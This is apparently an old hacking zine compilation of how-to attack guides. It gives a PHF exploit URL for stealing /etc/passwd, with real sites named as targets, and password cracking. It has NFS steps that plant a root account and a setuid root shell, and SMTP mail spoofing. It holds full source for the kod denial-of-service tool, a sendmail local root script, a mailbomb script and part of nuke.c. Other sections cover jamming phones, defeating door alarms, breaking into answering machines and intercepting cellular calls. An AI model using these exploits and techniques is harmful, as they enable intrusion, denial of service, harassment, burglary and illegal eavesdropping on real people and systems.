But, when you are an advanced hacker, or if you are already an advanced hacker, I advise that you try a few passwords at a time and then wait and try a few more the next day and so on, because when the real user logs on it displays all of the bad login attempts.

HACKING SERVERS

Part 1: Simple UNIX Commands
Most DOS commands have UNIX and Linux equivalents. Listed below are some of the main commands you will need to know to use a shell account.

```
HELP = HELP COPY = CP MOVE = MV DIR = LS DEL = RM CD = CD
```

To see who else is on the system you can type WHO. To get information about a specific user on the system type FINGER <username>. Using those basic UNIX commands you can learn all you need to know about the system you are using.

Part 2: Cracking Passwords
On UNIX systems the file that contains the passwords for all the users on the system is located in the /etc directory. The filename is passwd. I bet your thinking...."Great. All I have to do is get the file called /etc/passwd and I'll be a hacker." If that is what you are thinking then you are dead wrong. All the accounts in the passwd file have encrypted passwords. These passwords are one-way encrypted which means that there is no way to decrypt them. However, there are programs that can be used to obtain passwords from the file. The name of the program that I have found to be the best password cracker is called "Cracker Jack." This program uses a dictionary file composed of thousands of words. It compares the encrypted forms of the words in the list to the encrypted passwords in the passwd file and it notifies you when it finds a match. Cracker Jack can be found at my web site which is at http://www.geocities.com/SiliconValley/9185 Some wordlists can be found at the following ftp site: sable.ox.ac.uk/ pub/wordlists. To get to the wordlist that I usually use goto that ftp site then goto the American directory. Once you are there download the file called dic-0294.tar.Z which is about 4 MB. To use that file it must be uncompressed using a program like Gzip for DOS or Winzip for Windows. After uncompressing the file it should be a text file around 8 MB and it is best to put it in the same directory as your cracking program. To find out how to use Cracker Jack just read the documentation that is included with it.

Part 3: The Hard Part (Finding Password Files)
Up till now I have been telling you the easy parts of hacking a server. Now we get to the more difficult part. It's common sense. If the system administrator has a file that has passwords for everyone on his or her system they are not going to just give it to you. You have to have a way to retrieve the /etc/passwd file without logging into the system. There are 2 simple ways that this can sometimes be accomplished. Often the /etc directory is not blocked from FTP. To get the passwd file this way try using an FTP client to access the site anonymously then check the /etc directory to see if access to the passwd file is restricted. If it is not restricted then download the file and run Cracker Jack on it. If it is restricted then try plan B. On some systems there is a file called PHF in the /cgi-bin directory. If there is then you are in luck. PHF allows users to gain remote access to files (including the /etc/passwd file) over the world wide web. To try this method goto your web browser and type in this URL: http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd Then substitute the site you are trying to hack for the xxx.xxx.xxx. For example, if I wanted to hack St. Louis University (and I have already) I would type in http://www.slu.edu/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Don't bother trying www.slu.edu because I have already done it and told them about their security flaw. Here's a hint: try www.spawn.com and www.garply.com

If the preceding to methods fail then try any way you can think of to get that file. If you do get the file and all the items in the second field are X or ! or * then the password file is shadowed. Shadowing is just a method of adding extra security to prevent hackers and other unwanted people from using the password file. Unfortunately there is no way to "unshadow" a password file but sometimes there are backup password files that aren't shadowed. Try looking for files such as /etc/shadow and other stuff like that.

Part 4: Logging In To "Your" New Shell
OK....This is where you use what you found using Cracker Jack. Usernames and passwords. Run your telnet client and telent to the server that you cracked the passwords for, such as www.slu.edu. When you are connected it will give a login screen that asks for a login names and password and usually information on the operating system that the server is using (usually UNIX, linux, aix, irix, ultrix, bsd, or sometimes even DOS or Vax / Vms). Just type in the information you got after cracking the passwd file and whatever you know about UNIX to do whatever you feel like doing. But remember that hacking isn't spreading viruses or causing damage to other computer systems. It is using your knowledge to increase your knowledge.

Part 5: Newbie Info
If you feel that you have what it takes to be a serious hacker then you must first know a clear definition of hacking and how to be an ethical hacker. Become familiar with unix environments and if you are only just starting to learn to hack, visit a local library and find some books on various operating systems on the internet and how they work. Or you could go to a book store and buy a couple internet security books. They often explain how hackers penetrate systems and that is something a beginner could use as an advantage.

INTRO TO HACKING WITH NFS

NFS or network file system is a remote file system/directory , that is mounted from a remote unix host. the file system changes and data are saved and retreived from the remote host.

What is it for and where is it used ? it is for computers, who do not want enough space for a /usr/bin directory, which is usually just binaries. and run more than one computer.

How are the directories mounted ? man mount / man showmount / man rpc.mountd. or use this short explaination. "showmount -e host" shows you the directories that can be mounted and which hosts are allowed.

example:

```
export list for x:
/usr       program
/tmpusers1 math
/var/spool/mail (everyone can mount this)
```

you can also use "showmount -a host" to see which hosts are currently mounting directories/FS's from the host.

example:

```
y.x:/tmpusers
z:/tmpusers1/bla
t:/tmp
t:/usr
t:/local
t:/tmpusers2
```

How do I abuse this ? first I'll discuss non-suid shit, which is definitely harder to crack. Non-suid nfs means root has no access on the remote system for read/write, he is like a regular, and where he has write access, it will usually pop out to be nobody, and not root. But if it aint suid ? well you can try to hack in the following steps. try to mount a user directory, something like /home:

```
     mount -t nfs wisdom:/home /tmp/mnt
```

now try to look in the directory for users, you can usually tell a user directory for having files like .cshrc or .bashrc, etc. now that you've found a user directory, lets say /home/baby go into /home and type

ls -l | grep buffy

you will now know the user id of the user most probably. Now if the NFS is writeable all we need to do is to put a "+ +" line in the users .rhosts, and we can t/o. but we have no access as root. lets use the uid we got before echo a::uid:0::/:/bin/sh >> /etc/passwd"

now su a, we can write now lets "echo + + >> .rhosts". now lets rlogin wisdom -l baby, it shouldnt ask us for a password, we're in. We are in. we can now try to locally exploit the server.

So whats the big deal, about suid-nfs ? ah, now, if we had suid nfs. we'd probably have to just about the same thing but, say you followed the same steps, and entered the machine you can now

```
echo "main(){setuid(0);setgid(0);system("/bin/sh");}" > ahm.c
```

now go into the shell u got using the rlogin. type "gcc -o ahm ahm.c"

we're not done yet. now we logout, go to our mounted directory, and do:

```
chown root ./ahm
chmod 4755 ./ahm
```

Now we shall have our root. Log once again into the shell and type ./ahm (dont forget the "./" else it wouldnt work)

```
# id
uid=0(root) gid=0(root) groups=0(root)
```

nice heh?

see ya!

FAKE E-MAIL

(Fooling UUCP)

HOW DO I MAKE FAKE MAIL (OR HOW DO I FOOL UUCP)?
(from Beelzebub, Doktor Nil w/ Belisarius)

1. Telnet to port 25 of any internet server (eg. telnet site.name.and.address 25)
2. If at all possible, AVOID TYPING "HELO".
3. Type: rcpt to (person to receive fake mail){ENTER}
4. Type: mail from (fake name and address){ENTER}
5. The mail server should ok each time after each name.
6. If it does not:
   a) type vrfy and then the name of the person
   b) as a last resort use helo, this will login your computer as having been the source of the mail
7. Retype the commands, it should say ok now.
8. Type: data{ENTER}
9. The first line of the message will be the Subject line
10. Enter your letter
11. To send letter type a "." on an empty line.
12. Then type quit{ENTER}
13. This is traceable by any sysadmin ... don't harass people this way.
14. If the person receiving the mail uses a shell like elm he/she will not see the telltale fake message warning "Apparently-To:(name)" even if not, most people wouldn't know what it means anyway.
15. Make sure you use a four part address somebody@part1.pt2.pt3.pt4 so as to make it look more believable and cover any add-ons the mail routine might try
16. Put a realistic mail header in the mail message to throw people off even more. If there are To: and Date: lines then the program probably won't add them on.
17. Also try to telnet to the site where the recipient has his account. This works better if you know how to fool it.

PHUN WITH INTERFERENCE

PART I: THE SATAN BOX

MATERIALS:
A REMOTE CONTROL CAR
A SET OF SCREW DRIVERS
10 ALLIGATOR CLAMPS
AN OSCILLATOR, OR FREQUENCY ADJUSTER
A PHONE
PLENTY OF 9v BATTERIES
PRIVACY

PURPOSE:
Have you ever wanted to piss off your parents, or sister; etc.? Have you ever wanted get out of a goddamned phonecall but your grandparents won't shut the hell up? Have you ever felt the need to screw with someones head? Well, here is the key. *THE SATAN BOX*

PRINCIPLES:
Well basically, we all know that transmitters, cellphones, radiostations, police scanners, and such cause interference. Well on that basic premise, I designed the satan box. By adjusting the frequency of the wave being transmitted, you are able to change the pitch and sometimes signal of your interference. The fact is, you have a little ball of static you want to throw at a phone or radio. So you, well, do. ;)

STEPS:
1. Unscrew your R/C Car Controller, and remove the chip, the transmitter, the antennae and everything you need to recreate the remote.
2. Then take apart an old stereo, or a radio, maybe even a walkman. Remove the oscillator.
oscillators look like this:

```
_____ . . _____
((((((())))))))
____|_____|____

|              |
|              |
|______________|
```

3. remove the antennae and put the oscillator between it, in a way that adjusts the frequency (may vary from the materials)

```
 (((( o ))))
     |a
     |n
     |t.  -+-
     |  ______[ OSC.]______[board]
    | |/
   ---------------
```

4. Next, hook up as many 9v batteries as possible (see diagram)

```
           (+)-(+)-(+)-(+)-(+)----------I/O(+)|...remote
     --------(-)-(-)-(-)-(-)-(-)     _____I/O(-
)|...control
    /                              /
    \______________________________/
```

5. There you go. You have a satan box. Really easy, to be honest.

```
   batts.
     \ \                o
      | |               | <---- antenna
      + -               |
      i/o               |
  board------osc-----_
```

HOW TO USE:

Pick a target. A good target would be a relative. When they are on a phone (preferable cordless), press the switches on the board.
switches probably look something like this:

```
          ______   <------press down
       __/      '
     ____________________
```

Their should be a signal being emmitted from the box. You will know by how pissed off your target is. ;).
In order to adjust the signal's frequency and strength, play with the oscillator.

PHONES THAT HAVE WORKED:
CORDLESS PHONE 900MHz
Old Bell Pushbutton cordphone
TIME life phone (AT&T)

RADIOS THAT HAVE WORKED:
WALKMAN
VARIOUS OTHERS

INTERCEPTION:
It is possible to intercept calls and police frequencies by turning on the satan box, without transmitting. If your'e lucky, you get polic frequencies, radio stations, and of course... cellphones.

PART II: "UNDERSTANDING INTERFERENCE"

MATERIALS:
TI-86 CALC or 85
BASIC KNOWLEDGE OF THE CALCULATOR
AN UNDERSTANG OF TI-86 BASIC

WHAT IS THE POINT:
The reason you want to understand interference is that the only way to know how to cause it, is to know how it works.

HOW TO DO IT:
Well, create a new program. Title it interference. Enter source code.

TWO DIFFERENT PROGRAMS:
PICTOGRAPHIC) this one just draws a picture of a chaotic day (wave wise).
INTERACTWAVE) this one let's you adjust coordinates

PICTOGRAPHIC SOURCE CODE:

```
:CLDrw
:AxesOff
:Zsqr
:Circl(0,0,1) :Circl(0,0,2) :Circl(0,0,3) :Circl(0,0,4) :Circl(0,0,5)
:Circl(0,0,6) :Circl(0,0,7) :Circl(0,0,8) :Circl(0,0,9) :Circl(0,0,10)
:Circl(0,0,11) :Circl(0,0,12) :Circl(0,0,13) :Circl(0,0,14) :Circl(0,0,15)
:Circl(0,0,16) :Circl(0,0,17) :Circl(0,0,18) :Circl(0,0,19) :Circl(0,0,20)
 :Circl(9,9,1) :Circl(9,9,2) :Circl(9,9,3) :Circl(9,9,4) :Circl(9,9,5)
:Circl(9,9,6) :Circl(9,9,7) :Circl(9,9,8) :Circl(9,9,9) :Circl(9,9,10)
:Circl(9,9,11) :Circl(9,9,12) :Circl(9,9,13) :Circl(9,9,14) :Circl(9,9,15)
:Circl(9,9,16) :Circl(9,9,17) :Circl(9,9,18) :Circl(9,9,19) :Circl(9,9,20)
:Circl(-9,-9,1) :Circl(-9,-9,2) :Circl(-9,-9,3) :Circl(-9,-9,4) :Circl(-9,-
9,5) :Circl(-9,-9,6) :Circl(-9,-9,7) :Circl(-9,-9,8) :Circl(-9,-9,9)  :Circl(-
9,-9,10) :Circl(-9,-9,11) :Circl(-9,-9,12) :Circl(-9,-9,13)  :Circl(-9,-
9,14) :Circl(-9,-9,15) :Circl(-9,-9,16) :Circl(-9,-9,17)  :Circl(-9,-9,18)
:Circl(-9,-9,19) :Circl(-9,-9,20) :Circl(9,-9,1) :Circl(9,-9,2) :Circl(9,-
9,3) :Circl(9,-9,4) :Circl(9,-9,5)  :Circl(9,-9,6) :Circl(9,-9,7) :Circl(9,-
9,8) :Circl(9,-9,9) :Circl(9,-9,10)  :Circl(9,-9,11) :Circl(9,-9,12) :Circl(9,-
9,13) :Circl(9,-9,14) :Circl(9,-9,15) :Circl(9,-9,16) :Circl(9,-9,17)
:Circl(9,-9,18) :Circl(9,-9,19) :Circl(9,-9,20) :Circl(-9,9,1) :Circl(-
9,9,2)  :Circl(-9,9,3) :Circl(-9,9,4)
:Circl(-9,9,5) :Circl(-9,9,6) :Circl(-9,9,7) :Circl(-9,9,8) :Circl(-9,9,9)
:Circl(-9,9,10) :Circl(-9,9,11) :Circl(-9,9,12) :Circl(-9,9,13) :Circl(-
9,9,14)  :Circl(-9,9,15) :Circl(-9,9,16) :Circl(-9,9,17) :Circl(-9,9,18)
:Circl(-9,9,19) :Circl(-9,9,20)
```

INTERACTWAVE SOURCE CODE:

```
:Input A :Input B :Input C :Input D
:Circl(A,B,1) :Circl(A,B,2) :Circl(A,B,3) :Circl(A,B,4) :Circl(A,B,5)
:Circl(A,B,6) :Circl(A,B,7) :Circl(A,B,8) :Circl(A,B,9) :Circl(A,B,10)
:Circl(A,B,11) :Circl(A,B,12) :Circl(A,B,13) :Circl(A,B,14) :Circl(A,B,15)
:Circl(A,B,16) :Circl(A,B,17) :Circl(A,B,18) :Circl(A,B,19) :Circl(A,B,20)
:Circl(C,D,1) :Circl(C,D,2) :Circl(C,D,3) :Circl(C,D,4) :Circl(C,D,5)
:Circl(C,D,6) :Circl(C,D,7) :Circl(C,D,8) :Circl(C,D,9) :Circl(C,D,10)
:Circl(C,D,11) :Circl(C,D,12) :Circl(C,D,13) :Circl(C,D,14) :Circl(C,D,15)
:Circl(C,D,16) :Circl(C,D,17) :Circl(C,D,18) :Circl(C,D,19) :Circl(C,D,20)
```

ABOUT THESE PROGRAMS AND INTERFERENCE COMPREHENSION:
These programs will illustrate longitudinal waves, and will show were they overlap.
The overlapping are is the "standing wave". It is the interference. Sometimes, depending on the wave, they interference will block the transmission, causing a lapse in sound. Other times you will hear the static noise chime in over the transmission.

PART III: "THE INTERFERENCE IS ABROAD"

Look around your house. You might not have given it much thought, but an arsenal of radiowave weapons are at you fingertips.

KNOWN INTERFERENCE CAUSING OBJECTS: KNOWN OBJECTS SUSCEPTIBLE TO PHUN:
•walkie talkies
•phones
•ham radios
•radios
•remote control cars
•tvs
•cordless phones
•shortwave rads.
•radiation (microwave)
•shortwave radios
•police radios

ON A SIDE NOTE, SOME ANIMALS (IE: DOGS) CAN PICK UP THESE INSANE FREQUENCIES.
HEHE, PHUN WITH FIDO.

```
/*KOD.C

::: [author] kod.c by klepto/defile  klepto@antisocial.com / defile@EFnet
::: [stuph ] bug found by klepto / total rewrite on *nix platform by defile
::: [notes ] bluescreens windows users(98/98se) and kills tcp stack
::: [m$ bug] windows handles igmp badly and this is the result
::: [greets] amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotrip/TFreak/napster
::: [greets] dist(test monkey)/naz(you rule
period.)/#havok/#irc_addict/#kgb/#eof/everyone
::: [action] ./kod <host> and BEWM!
::: [rant  ] there will be lots of rewrites to this.. just get our name right!
de omnibus dubitandum
*/

/*
windows core dump output (*whee*)
An exception 0E has occurred at 0028:C14C9212 in VxD VIP(01) +
00006C72.  This was called from 0028:C183FF54 in VcD PPPMAC(04) +
000079BR.  It may be possible to continue normally(*not*).
*/

/*
there will be more bugs like this until bill "big moneybags" gates
puts more effort into making windows more stable instead of patching holes.
*/

#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

size_t hits = 5;
unsigned short port = 100;

void usage (char *progname)
{
  printf("Usage: %s <host> -p port -t hits\n", progname);
  exit(1);
}

void parse_args (int argc, char *argv[], char **target)
{
     int y;

     *target = argv[1];

     if (argv[1][0] == '-') {
          printf ("Must specify a target.\n");
          exit (1);
     }
     for (y=2; y < argc; y++) {
          if (!strcmp(argv[y], "-p")) {
               y++;
               port = atoi (argv[y]);
          } else if (!strcmp(argv[y], "-t")) {
               y++;
               hits = atoi (argv[y]);
          }
     }
}


int main (int argc, char *argv[])
{
     struct sockaddr_in   sin;
     struct hostent  *he;
     size_t maxpkt = 15000;
     char *target;
     char buf[15000];
     int sd;

     if (argc < 2)
          usage (argv[0]);

     parse_args (argc, argv, &target);

     if ((he = gethostbyname (target)) == NULL) {
          herror (target);
          exit (1);
     }
     memcpy (&sin.sin_addr.s_addr, he->h_addr, he->h_length);

     sin.sin_family = AF_INET;
     sin.sin_port = htons (port);

     if ((sd = socket (AF_INET, SOCK_RAW, 2)) == -1) {
          perror ("error: socket()");
          exit (1);
     }

     if (-1 == connect (sd, (struct sockaddr *)&sin, sizeof
(sin))) {
          perror ("error: connect()");
          close (sd);
          exit (1);
     }

     puts ("Determining max MSGSIZE");
     while (send (sd, buf, maxpkt, 0) == -1) {
          if (EMSGSIZE != errno) {
               perror ("error: send()");
               close (sd);
               exit (1);
          }
          maxpkt -= 1;
     }
     hits--;

     printf ("Max MSGSIZE is %d\n..%d bytes [%s:%d]..\n",
maxpkt,
               maxpkt, target, port);
     while (hits--) {
          usleep (50000);
          if (send (sd, buf, maxpkt, 0) == -1) {
               perror ("error: send()");
               close (sd);
               exit (1);
          }
          printf ("..%d bytes [%s:%d]..\n", maxpkt, target,
port);
     }

     sleep (1);
     close (sd);
     puts ("complete.");

     exit (0);
}
```

BUILD_RADIO_TRANSMITTER

* Original Area: U.Radio.Pirate
* Original From: SYSTEM 0PERATOR (1:231/510)
* Original To : All (1:115/747)

From: system@gravebbs.UUCP (SYSTEM 0PERATOR)
Organization: The Graveyard BBS, CA [408] 683-4606

How to Build Your Own Underground Television Transmitter Using Commercially Available Parts

Yes, for some time now it has been possible to construct a clandestine television station, which you can operate from your Telecommando Lair, or modify for Mobile Media Guerrilla campaigns.

We have named this device the Snow Box, due to its cool nature, and the snow seen on blank television channels waiting to be commandeered.

To put together a TV station you will need this stuff:

A VCR or Camcorder with video or RF outputs

A Ham Radio 6-meter Band Linear amplifier
(This boosts the RF signal from the VCR for broadcasting)
(The Linear Amp should have a bandwidth of 6 MHz for best results)
A cable television RF distribution amplifier may also be used.

Coaxial cable with UHF connectors
(Connects the Linear Amp to the Antenna)

A cable-TV patch cable with an F-connector and a UHF connector
(To connect the RF signal to the Linear Amp)
(F-connectors are the small ones used with cable TV)
(UHF connectors are the large ones used for Ham Radio)

If your VCR does not have RF outputs:
An external RF modulator (converts video to channel 3,6,12 etc.)
a cable with RCA connectors (a standard stereo cord is ok)

A 6-meter Ham radio antenna.

If you do not have a pre-made 6-meter antenna:
About 20 feet of strong wire
3 ceramic antenna insulators
another UHF connector

Likely places to get the linear amplifier, connectors and cables is a Ham Radio swapmeet, a Ham club newsletter's classified ads, a Buy-Sell-Trade paper like The Recycler, or at a store specializing in Ham gear.
RF modulators are available at specialty video stores, or major VCR dealers.

Setting Up the Transmitter:

```
 Using a VCR with RF out:

[VCR/RF]F----------------------------U[Linear Amp]U------------U[Antenna]
                      weak RF                                   Power RF

 Using an External RF Modulator:

[VCR]R-------R[RF Modulator]---------U[Linear Amp]U------------U[Antenna]
        video                  weak RF                          Power RF
```

Diagram Symbols:

U   UHF-connectors (Ham radio)
F   F-connectors   (cable TV)
R   RCA connectors (stereos)
--- coax, cables, wires
[]   devices (name of device in brackets)
<I> ceramic insulator (the kind with a hole at each end)

Building The Dipole Antenna:

```
          wire                       wire
<I>--------------------+<I>+----------------------<I>
                         |   |
           Short coax    |   |
                          [U]    UHF connector
```

The antenna is set up much like a clothesline with the wires tethered straight out horizontally. The outer insulators are used to isolate the antenna from the tether lines, which should be rope or nylon cords for good results. The inner insulator isolates a gap between the two long wires of the antenna.

The length of the wires used for the antenna is critical. Look up the length in feet for the channel you want to use in the table below & make each of the two long wires that length. As a rule of thumb, a wire half-wave antenna's length in feet is equal to 468 divided by the frequency in MHz.

****
VHF Television Channel Data

TV channel	MHz range	---carrier--- video	 sound	antenna lengths
2	54-60	55.25	59.75	8.47ft
3	60-66	61.25	65.75	7.64ft
4	66-72	67.25	71.75	6.95ft
5	76-82	77.25	81.75	6.05ft
6	82-88	83.25	87.75	5.62ft
7	174-180	175.25	179.75	2.67ft
8	180-186	181.25	185.75	2.58ft
9	186-192	187.25	191.75	2.49ft
10	192-198	193.25	197.75	2.42ft
11	198-204	199.25	193.75	2.34ft
12	204-210	205.25	209.75	2.28ft
13	210-216	211.25	215.75	2.21ft

(All frequencies in MHz)
(Lengths are for half-wave antennas)
****

For Further information: Look in the ARRL Handbook published by the American Radio Relay League for detailed plans & theory for antennas, transmitters & linear amplifiers. The info in that book can be used for setting up an underground AM or FM radio station.

Uses for a TV Clandestine Station:

Public Education: Make a videotape of each step in the process of constructing your transmitter. Show this tape in your broadcasts, "For informational purposes only", of course.

Short-burst zipping: From a fixed or mobile base of operation show short snippets of graffiti-like computer graphics, quick subliminal messages, images & suggestions, or brief phreaker manifestos. Commercials are an opportune time to break into TV broadcasts.

Live call-in shows: Using a Cheese Box, or other device for receiving untraceable phone calls and a video camera do a live call-in show. Encourage people to call in using Red, Blue, and other phreaking boxes.

One way to do call ins to your station is to give a phone # of a frend and use AT&T call forwarding to forward to your phone, then use a radio shack phone recorder to send the signal to the input of a tape deck and then run the output of the tape deck to the input of your mixer.

Another way is to give the number of a local phone booth and use CB or other means of transmission to get it back to your booth. Both of these methods can give away your city of origin if someone looks up the are code.

To avoid this you can find a bussiness that has an answering machine on an 800 number and play with your phone, trying different numbers until you crack their playback code, (this is usually two numbers) then have your audience call and leave your messages or a number for you to call them back. Then you call the machine, enter the code number, and get your messages.

MAGNETIC SECURITY

1/Deactivation
2/Enhancing Security

Deactivation
In this chapter we will be discussing the deactivation of magnetic security systems, such as the ones found on doorways of houses, stores, etc.

First of all, you might want to test this process on a freind or authorized security analyzer. First you need to find a commonly used magnetic frequency, simple. Just use a Mag. Field Analyzer which can be found in any mining or research magazine. These will cost you about $120-$200. When you are approaching the system measure the field about 10 feet away from the target, keep the results in mind. Then place the sensor anywhere remotely close to the magnets without blocking its path. Take the results from there earlier test and subtract it from your new results. Now you need to find a magnet with a close enough frequency. Just go to a store and use the analyzer again. This process is used for very high security magnetic locks. Some systems just need you to place any magnet on the receiver and open the door. But we will continue the in-depth version. One you found the right frequency then this will probably work for all security systems made by the same company. Make sure though before continuing to another. Some people might have a custom frequency and system of magnets. See "Enhancing Security".

Once you have a magnet then take a length of tape (about 5") and tape the magnet on the "side" of the receiving magnet, which is usually the topmost one and if visual can be determined by the wire running from it.

If the alarm doesn't go off then obviously they haven't read this zine... :-) There fault. Remember to always use gloves.

Enhancing Security
Remember, if you have my custom setup on your house then please post a paper or sticker saying "BioSystems" so other physical hackers know not to attempt to enter.

Take the small (usually red) box that leads to the receiving magnet and open it using a philips screw driver. Once opened there will be a small chip with something that looks like a dial in it. You must use a flathead driver to turn this. Turn this all the way to the left, which makes your security system useless, for now. Once this is done then take the receiving magnet off the door and and place it on the ceiling (if close) or you must use a custom hanger to make the two magnets pass close to each other when the door is opened. Make sure it it stable, so the alarm won't go off when there is an earthquake. Now close the door and turn the security system back on... now when people try to use the standard methods of deactivation the alarm will go off since the deafult magnetic level is -0 so by placing a magnet there they raise the default "WAY" above what it was suppose to be, therefor making the alarm go off. And if they just open the door the magnets will pass with the same result. Also since the magnet is so far away then they can not get a correct frequency. And you can change magnets, frequencies, and defaults to make the system hard to hack even for me... I have to admit it, the security systems suck!!!

HACKING AT&T ANSWERING MACHINES

Quick and Dirty by oleBuzzard

1. Dial telephone and wait for AT&T Answering Machine to answer.
2. Quickly Enter the following string.

```
 1234567898765432135792468642973147   (btw: this is the shortest
 4193366994488552277539596372582838    string for entering every
 491817161511026203040506070809001     possible 2-digit combo.)
```

3. You'll know you hit the code because the messages will start playing.
4. Heres a list of TouchTone(c) Commands

```
       Listen to messages: 7
   Listen to new messages: 6
                     Stop: #
              Rewind Tape: 2
             Advance Tape: 5
           Clear Messages: 3,3
              Record memo: *
      Record Announcement: 4,*
        Play Announcement: 4,1
           Turn System On: 0
          Turn System Off: 8,8
```

HOW TO INTERCEPT A CELLULAR TELEPHONE CONVERSATION

I once had an acquaintance tell me he was not worried about having his phone tapped. I asked why and he told me he had a cellular phone. "How could they hook up a tap to a wireless phone?' Not everyone is so stupid.

Cellular telephones are very easy (and Illegal) to monitor. All you generally need is a modified (to pick up the 800-900Mhz band) scanner. Simply turn the scanner on and program the search function to search in between the 800-900 mhz band in 30 Khz spacing. Pretty soon you'll be listening to all types of conversations.

You can improve reception by using an antenna that is tuned to the cellular band or using an amplified antenna. One problem that you will encounter in cellular telephone monitoring is loss of conversation due to the target cellular telephone moving from cell to cell. There are various techniques to overcome this problem which will be discussed in-depth in future issues of THE CODEX.

There are also several devices on the market generally sold only to law enforcement agencies that make the job a lot easier and also offer additional information about cellular calls such as ESN (electronic serial number), NAM readers, etc. New technologies also allow cellular telephones to be tracked electronically to give the users location. Such is the case as in Los Angeles when the LAPD tracked down OJ Simpson during the infamous car chase with his buddy Al Cowlings. More in-depth info to follow in the CODEX.

MAILBOMB

This is a script that can be used to send multiple messages to a user. It is a great way of getting revenge, and having phun doing it. ;-)

SOURCE CODE
~~~~~~~~~~~

```
echo "KaBoOm"
mail -s kaboom "user" > certificate
mail -s kaboom "user" > certificate
mail -s kaboom "user" > certificate
mail -s kaboom "user" > certificate
echo "COMPLETE."
```

~

Part 0 - beforehand
~~~~~~~~~~~~~~~~~~~
pico certificate

this tells the computer to go to it's built in text editor, and
make a file called "certificate". In this you may write a
message that will be sent with your bomb. A nice touch would
be to explain why you chose to bomb them.

Part 1
~~~~~~
create a new file.

Part 2
~~~~~~
echo "KaBoOm"

this statment tells the LINUX server to say "KaBoOm". Basically,
you can change the word "KaBoOm" to anything you want. A nice ansi
would be good. This will be the opening of your script.

Part 3
~~~~~~
mail -s kaboom "user" > certificate

```
mail :          this tells the computer
-s :            this says that the following word is the subject header
kaboom:         subject header
"user":         he username should be put int place of "user".
                This should not have '""' marks.
> :             indicates that the following file should be sent with
                the message.
certificate :   the name of the file to be included as a message
```

****note: it may make sense to put a different name for the message.
I mean "certificate" sounds lame. ;-)****

Part 4
~~~~~~
copy and paste 3 as many times as you want. This will make linux
send a message for every time you cut and paste.

Part 5
~~~~~~
exit pico, by typing "^X", and save file as "mailbomb".
now type "clear" to clear up the screen.

Part 6
~~~~~~

```
chmod u+x mailbomb            # this tells the computer that the file is a script.
ls                                # this display the contents of the current directory,
                      # if you did this right, there should be an
                      # asterisk, ("*"), next to the name.
mailbomb              # this runs the script.
```

EXPLOIT.SH

```
#!/bin/sh
# rpmmail (sendmail 8.9.3/8.9.1 procmail 3.10.x)
# by icesk, greetz to that triq ass bitch from ATR, obsolete, and #b4b0
echo "[icesk] createing suid shellscript"
echo <<EOF > /tmp/suid.sh
#!/bin/sh
cp /bin/sh /tmp/sh;chmod +s /tmp/sh
EOF
chmod +x /tmp/suid.sh
echo "[icesk] `ls -l /tmp/suid.sh`"
echo "[icesk] compileing exploit"
gcc -o sendmail sendmail.c
echo "[icesk] expl01t1ng m41l f34r!@$"
./sendmail 127.0.0.1 /tmp/suid.sh
echo "[icesk] allow 10 minutes for mail to cycle then run /tmp/sh"
echo "[icesk] done."
```

```
/* *  NUKE.C VERSION 1.0 04/25/92
 *   by Satanic Mechanic.
 *
 *  must be root to open raw sockets. this version will kill
 *  almost any ip connection.
 * ----------------------------------------------------------------
 *  I strongly advise against even compiling this software. It's far
 *  too dangerous, and the temptation may be there to do some real
 *  damage with it.  Read and learn, that's it, eh?  -concerned
 * ----------------------------------------------------------------
 *
 */

#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>

#define DEFAULT_UNREACH ICMP_UNREACH_PORT

char *icmp_unreach_type[] = {
    "net",
    "host",
    "protocol",
    "port",
    "frag",
    "source",
    "destnet",
    "desthost",
    "isolated",
    "authnet",
    "authhost",
    "netsvc",
    "hostsvc"
};

#define MAX_ICMP_UNREACH
(sizeof(icmp_unreach_type)/sizeof(char *))

int resolve_unreach_type(arg)
    char *arg;
{
    int i;

    for (i=0; i <MAX_ICMP_UNREACH; i++) {
        if (!strcmp(arg,icmp_unreach_type[i])) return i;
    }
    return -1;
}

int resolve_host (host,sa)
    char *host;
    struct sockaddr_in *sa;
{
    struct hostent *ent ;

    bzero(sa,sizeof(struct sockaddr));
    sa->sin_family = AF_INET;
    if (inet_addr(host) == -1) {
        ent = gethostbyname(host);
        if (ent != NULL) {
            sa->sin_family = ent->h_addrtype;
           bcopy(ent->h_addr,(caddr_t)&sa->sin_addr,ent-
>h_length);
            return(0);
        }
        else {
            fprintf(stderr,"error: unknown host
%s\n",host);
            return(-1);
        }
    }
    return(0);
}

in_cksum(addr, len)             /* from ping.c */
u_short *addr;
int len;
{
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

        /*
         *  Our algorithm is simple, using a 32 bit
accumulator (sum),
         *  we add sequential 16 bit words to it, and
at the end, fold
         *  back all the carry bits from the top 16
bits into the lower
         *  16 bits.
         */
        while( nleft > 1 )  {
                sum += *w++;
                nleft -= 2;
        }

        /* mop up an odd byte, if necessary */
        if( nleft == 1 ) {
                *(u_char *)(&answer) = *(u_char *)w ;
                sum += answer;
        }

        /*
         * add back carry outs from top 16 bits to low
16 bits
         */
        sum = (sum >> 16) + (sum & 0xffff);     /* add
hi 16 to low 16 */
        sum += (sum >> 16);                     /*
add carry */
        answer = ~sum;                          /*
truncate to 16 bits */
        return (answer);
}

int icmp_unreach(host,uhost,port,type)
     char *host,*uhost;
     int type,port;
{
    struct sockaddr_in name;
    struct sockaddr dest,uspoof;
    struct icmp *mp;
    struct tcphdr *tp;
    struct protoent *proto;

    int i,s,rc;
    char *buf = (char *) malloc(sizeof(struct icmp)+64);
    mp = (struct icmp *) buf;
    if (resolve_host(host,&dest) <0) return(-1);
    if (resolve_host(uhost,&uspoof) <0) return(-1);
    if ((proto = getprotobyname("icmp")) == NULL) {
        fputs("unable to determine protocol number of
\"icmp\n",stderr);
        return(-1);
    }
    if ((s = socket(AF_INET,SOCK_RAW,proto->p_proto))
<0 ) {
        perror("opening raw socket");
        return(-1);
    }

    /* Assign it to a port */
    name.sin_family = AF_INET;
